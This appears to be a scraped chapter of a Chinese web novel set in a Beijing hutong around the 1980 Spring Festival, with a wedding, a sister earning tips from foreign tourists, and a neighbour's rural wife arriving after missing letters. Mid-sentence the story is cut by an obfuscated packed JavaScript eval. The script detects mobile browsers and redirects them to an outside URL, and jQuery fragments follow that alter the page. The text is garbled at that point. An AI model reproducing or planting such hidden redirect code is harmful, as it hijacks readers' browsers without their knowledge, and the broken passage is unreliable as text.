49. 第 49 章

作品:《八零年代女司机

    1980年的春节前夕,富强胡同4号院院门上贴上了两个大大的红双喜字。


    七八辆扎着大红花的自行车排的整整齐齐,江禾的爱车赫然在列,准备和郭保华一起去接亲。


    这事还要从元旦节前说起,年底考核郭保华凭借扎实的基本功顺利通过成为长城机械厂的一名正式工,涨工资、享受各种福利待遇。


    元旦节当天他不声不响地带回一个年轻女同志,说是他对象,郭大妈、郭大爷以及他弟弟郭卫东全都愣住了。


    不过儿子谈对象对于郭大妈和郭大爷来说是好事,和和气气倒茶招待人家顺带留人吃饭,郭大爷出去买肉,郭大妈则旁敲侧击打听女同志家世,这一问不得了女方是供销社正式工,女方爸是防疫站小领导,女方妈也有工作,郭大妈对此满意地不得了,等人走后当着一众大妈的面儿炫耀儿子有本事。


    常大妈不愧为她的老对头,说的话直中要害,问她两个儿子住一间都要结婚可咋办?


    郭大妈脸色几变,气冲冲地走开,不过这事儿确实缠在她心头,小儿子的婚事被大儿子搅黄,现在大儿子领对象回家她又怕小儿子不满,说到底还是房子不够住。


    郭卫东恨得要死依葫芦画瓢放话让郭保华尽管谈对象,这个房子他一步也不让,要是结婚他不介意三人睡一间房。


    郭保华对这个场面早有预料因此也放话,家里没他结婚的地方不要紧,正好女方是两姐妹他直接入赘,诶,皆大欢喜!


    此话一出吓得郭大妈差点儿没晕过去,她要脸跟常大嘴斗了一辈子,要是临了儿子入赘,她哪还能抬头做人,还不被胡同里的邻里邻居笑话死,这次不敢和稀泥也不拖沓立刻和郭大爷商量,把屋子隔成两间,一边放一张一米二的双人外加一张桌子,剩下的家具由他们自个儿置办,两个儿子结婚各出八十块多了一分没有。


    对此郭保华没有多争,他知道这样已经是最好的情况,等隔断一砌好他立刻说要结婚。


    家里不知道的是他和女方相恋多年,下乡时一直通信,正是有她支撑郭保华回家遭到嫌弃时说什么都不让,她已经等了很多年,他必须给她一个交代。


    一转正他立马去见未来的岳父岳母,所幸两位长辈通情达理,婚期顺利定下,郭保华借遍同车间所有熟的不熟的同事还找江禾借了两张布票给他对象买了一件耀眼的红大衣,岳父岳母对此十分满意,年轻人穷点就穷点重要的是肯对他们女儿好。


    定下婚期后郭保华找到江禾请她一定要帮忙去接亲,盛情难却,江禾给爱车擦得锃光瓦亮,车把扎上红绳,七八辆车十来个人欢声笑语地赶去女方家。


    回来十几辆车郭保华载着打扮的漂漂亮亮穿着红大衣的新娘子走在最前面,一路高歌,爆竹的红纸片铺满院门口,人群簇拥着郭保华牵着新娘子走进四号院。


    婚礼办得仓促,郭家只请了四号院的邻居和亲戚朋友们,吃过午饭江禾匆匆离开,不知道是不是郭保华和牛二他们恶名在外,邻居们不敢问,这回一逮到她东拉西扯问机械厂啥时候招工,这她上哪儿知道去,吃完饭随即借口遁走。


    回到家,江苗神神秘秘拉江禾进里屋,江禾看到书桌上摊着一张写得密密麻麻的信纸,上面的英文她一个都不认识,这段时间她总能看见江苗坐在书桌前要么面前摊着一本“天书”要么抓耳挠腮地下笔。


    江苗打开抽屉拿出一瓶雪花膏谄媚地拉起江禾的手放到她手心上,“新年礼物,我特意百货商店买的!”


    江禾看一眼雪花膏目光回到江苗身上,“说!”


    江苗嘿嘿一笑,“我姐果然英明啊!就知道瞒不过你,去接你那天其实我早到了,那个男同志是你对象吗?”


    江苗瞟一眼门口压低声音,“我保证不说出去。”


    无事献殷情非奸即盗,看着好奇心满得快要溢出来的眼前人,江禾笑出声一下敲在她脑袋上,“想什么呢,大人的事儿小孩儿少打听。”


    “我都十八了!”江苗撇嘴,“不说就不说呗,打我干啥!”


    江苗絮絮叨叨,“那天我叫你,哎你转头跟人走,就那么走了一眼没看我,这搁谁身上不多想啊,再说你俩站一起挺般配的。”


    她越说越小声,江禾哑然失笑。


    ……


    大年三十江苗拿出另外两份准备好的礼物,一瓶雪花膏和一个篮球,不偏不倚三人都有,这是邹亚平分给她75元之后最想干的事,给家里每个人都买点儿东西。


    江粟手上转着篮球好奇地发出两连问:“给外国人介绍故宫还有钱拿?一共挣了多少?”


    江苗得意:“克洛伊给了200美元,我们只收了100美元,亚平拿走美元分给我75元。”


    “75!”江粟惊呼,“你是说你干了不到一个月挣了75!”


    “不止!”江苗掰手指,“安德鲁夫妻俩说什么都要给我们5美元小费还有戴安娜、凯特,七七八八我差不多分到了100元。”


    挣外汇挣外汇这话江粟打小儿没少听人说,但怎么也想不到老外的钱这么好挣,一个月不到100元到手,赶上一个工人俩月工资了!


    江粟心动,“过完年你还去不去?”


    “亚平回上海了,我一个人去不了。”


    江粟又道:“那你把那些英语的资料借我,我也要学习学习。”


    江苗大惊,“太阳打西边儿出来了,你竟然主动学习!”


    “咳咳,”江粟有几分不自在,突然绷起做哥哥的架子,“看到你这么努力我这做哥哥的也不能落后啊,再说作为未来的电气工程师外语必须得跟上啊。”


    江粟的小心思显而易见,不过张月英没多嘴,书里这小子最感兴趣的是挣钱,情况一变再变万一真让他抓住机会也未尝不可。


    早几年有外国关系指定会倒霉,一本书、一封信被人举报都会被批斗,往后只会越来越好,英语份量逐渐加重真能精通只要好处没有坏处,正因为知道这也是张月英全力支持江苗“找外教”。


    分完礼物,江苗提议去看电影,一家人收拾收拾,穿衣服戴围巾,张月英一边一个挽着俩闺女,江粟跟在后面,一家人高高兴兴地出门。


    还没等走出胡同,隔壁闹了大半年的牛家又出事了。


    牛家老二插队时娶的老婆唐春花带着病恹恹的孩子找上门来,她半年没收到牛二的信,她写信牛二也不回,孩子生病一直不好,家里实在是拿不出钱看病,跟大队长借了十块坐车来找他,就是想来问问他是不是不要她们娘俩了,求他给个准话,真要那样她立马回村改嫁。


    牛二一脸懵,“元旦我才给你寄了20块,怎么会不要你们娘俩呢?”


    年底考核他没通过,还是干拿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978679|185326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    学徒工那点钱,攒了好几个月赶在春节买了棉花饼干把钱塞在包裹里,就想让她们过个好年!


    唐春花眼泪止不住地流,“俺大半年没收到你的信,俺是农村女人但也晓得廉耻,你真要再娶个城里人好歹跟俺说清楚,你这不明不白的算是咋回事?”


    牛二着急,“春花你胡说啥,俺啥时候说不要你们了,俺半年没工作家里蹲受人白眼,好不容易又是个学徒工,真把你们娘俩接来一家子吃啥喝啥?”


    “我胡说?半年没点音信谁知道你想干啥?”唐春花收了眼泪,抱着瘦弱的孩子瞪牛二。


    “不能啊!”牛二挠头,明明他常常写信,就是收不到唐春花的信,还以为是她不满他不把她们娘俩接过来,为此他还写了两大页纸解释。


    牛大妈脸色古怪,迈出屋脚又缩了回来,牛大爷注意到她的小动作头皮一紧,趁众人注意力好都在老二身上,他伸手一拽老伴儿,低声道:“是不是你?”


    牛大妈梗着脖子装傻:“我听不懂你说啥!”


    “你呀你,早晚要坏事!”自己老伴儿啥德行他能不知道,牛大爷气不打一出来一甩手,笑眯眯地走过去,“这就是小敏吧,还是头回见,来爷爷抱。”


    小姑娘转身,头埋在亲妈的肩膀上不理人,唐春花戒备地看着牛大爷,她跟牛二在一起四年多,听牛二说过他家人从小如何偏爱大的把他送下乡。


    牛大爷干笑两声,冲牛二道:“这大冷天的先把人安顿下来,孩子病着再受凉可不得了,别让邻里邻居看笑话。”


    最后一句话牛大爷凑在牛二耳边说的,不想让邻居看笑话是假,给老伴儿收拾烂摊子是真,万一被老二猜出来大年三十动刀子不是开玩笑。


    赶上大年三十,胡同里的大人小孩儿都闲着,一听见动静都往四号院儿跑,里里外外围了一圈人,郭保华出来的最快,他和牛二算是一个战壕里的兄弟,常听他说想把老婆孩子接来,无奈学徒工的工资太低,家里不把他赶出去给大嫂的小舅子腾房子就不错了,咋可能出钱贴补他。


    事与愿违年底转正考核他紧张到手抖,知道没过的时候一个大男人当场抱头痛哭。


    眼看着人越来越来多,牛大爷催促牛二,“有什么话回家说!”


    牛二反应过来伸手想抱孩子也被唐春花躲过,就这么雄赳赳气昂昂地进了牛家,牛二紧跟其后。


    郭大爷作为管院率先行动,驱散围观人群,“都散了都散了,人家的家事有啥好看的!”


    “过年呢,热闹呢!”只知道哪个混不吝的大喊一声惹起一片哄笑。


    大年初一江禾照例拎着礼品带弟弟妹妹去给奶奶拜年,遭到二婶抱怨,“放寒假苗苗也不知道来看看你奶,你弟弟就盼着你来,你是大学生他是毕业班的也能辅导辅导他。”


    江苗撇嘴,“当初我妈让我们兄妹俩读高中考大学的时候你非说是我们学习不好考不上中专才读高中,人咋能变得怎么快。”


    “苗苗,”江禾装模作样地呵斥一声。


    二婶尴尬笑笑,“我见识短瞎说的,这孩子咋这么记仇呢。”


    大年初二去外婆家,这回大舅妈没问机械厂招不招人只是一而再再而三地想给江禾介绍她的娘家侄子,被江禾不软不硬的顶回去。


    用张月英的话说,亲戚怕你过太好也怕你过好了不帮他们。